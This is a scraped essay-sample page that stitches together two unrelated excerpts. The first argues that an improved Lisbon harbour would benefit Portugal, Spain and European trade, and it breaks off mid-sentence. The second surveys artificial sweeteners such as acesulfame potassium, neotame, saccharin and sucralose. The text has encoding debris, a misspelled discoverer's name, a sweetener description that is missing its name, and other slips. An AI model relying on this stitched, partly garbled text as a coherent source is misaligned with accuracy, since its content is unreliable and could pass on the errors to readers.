Ports in the Storm - Essay Example This is a great opportunity that can really open up Portugal and its neighbouring countries. European markets will be the first beneficiaries of an improved Lisbon port. First, this is a great investment where European companies can drive their investments. After certain duration, Lisbon harbour will call companies to tender for services like offloading containers, uploading containers, and ship repairs. This will provide business to big and small companies improving on the European economy. Secondly, besides providing business to companies, employment opportunities will increase, as individuals will operate cranes and other machines. Thirdly, Improvements of Lisbon harbour will allow the bulkiest of the vessels to dock in it. According to Economist magazine, â€Å"The bulkiest vessels can carry 14,000 twenty-foot containers that would require a train 85 km if transported by rail† (The economist Newspaper, 2012). Big vessels enhance economies of scale since there is a considerable fall in the cost per container. Cost of industrial raw materials falls as the cost of transportation falls, this eventually causes low cost of products. Fourthly, big ships do not stop in many destinations of Europe. This means that Lisbon harbour will open up a faster means of transportation of bulk materials fastening up the process of production. In addition, consumers and businesses will receive complete products in good time. This will attract prime shippers looking for value, speed, and reliability. The first beneficiary of an improved Lisbon port is Portugal. This is because as the port expands, Portuguese industries will get cheap raw materials for their productions. Heavy metal industries and those that depend on bulky materials that come from Asia will benefit greatly. In addition, Southern part of Spain will grow because of this port. The growth will come about as goods from Lisbon port are transported via good

Artificial sweeteners Research Paper Example | Topics and Well Written Essays - 750 words

Artificial sweeteners - Research Paper Example This paper will be about the different brands and types of artificial sweeteners. The focus will be on the effects it has on humans vs. animals. It will explain the safety and hazards of each substance. There are different types of artificial sweeteners that differ from their extract classification. They are large divisions of sugar substitute market, where companies vary from producing it with zero or low calories (Swithers and Davidson 10). There are at least six types of artificial sweeteners (Jaffe 4). Karl Claus who was a chemist discovered the artificial sweetener in 1967. It was approved 1998 for use in beverage. Acesulfame potassium is believed to be 200 times sweeter than the sugar we are used to, and has no calories in it. It is found in beverages, breath mints and baked foods. This type of artificial sweetener is the newest sweetener. Neotame was approved in 2002 as a general sweetener. It has no calories in it, and it sweetness is7000 to 13000 times. Neotame is found in gelatins, puddings, syrups, toppings, jellies, frozen desserts, soft drinks and baked foods. This was the first artificial sweetener discovered in 1879. It was discovered by Constantine Fahiberg as he was working at johns Hopkins University as he was doing a research on the oxidation mechanism. Saccharin has no calories, and it is sweeter than the normal sugar more than 300 times. Biologically, it is not absorbed in the body or metabolized. It is used to sweeten various products ant still used in cosmetics products. Tate and Lyle discovered Sucralose in 1979. Compared to sugar, it is 600 times sweeter and contains no calories in it. The FDA approved it in 1998, where it is used in fifteen different categories of food, including tabletop sweetener. Sucralose is used in frozen desserts, fruit juices, gelatins, chewing gum and beverages. The FDA latter expanded it in 1999 as a general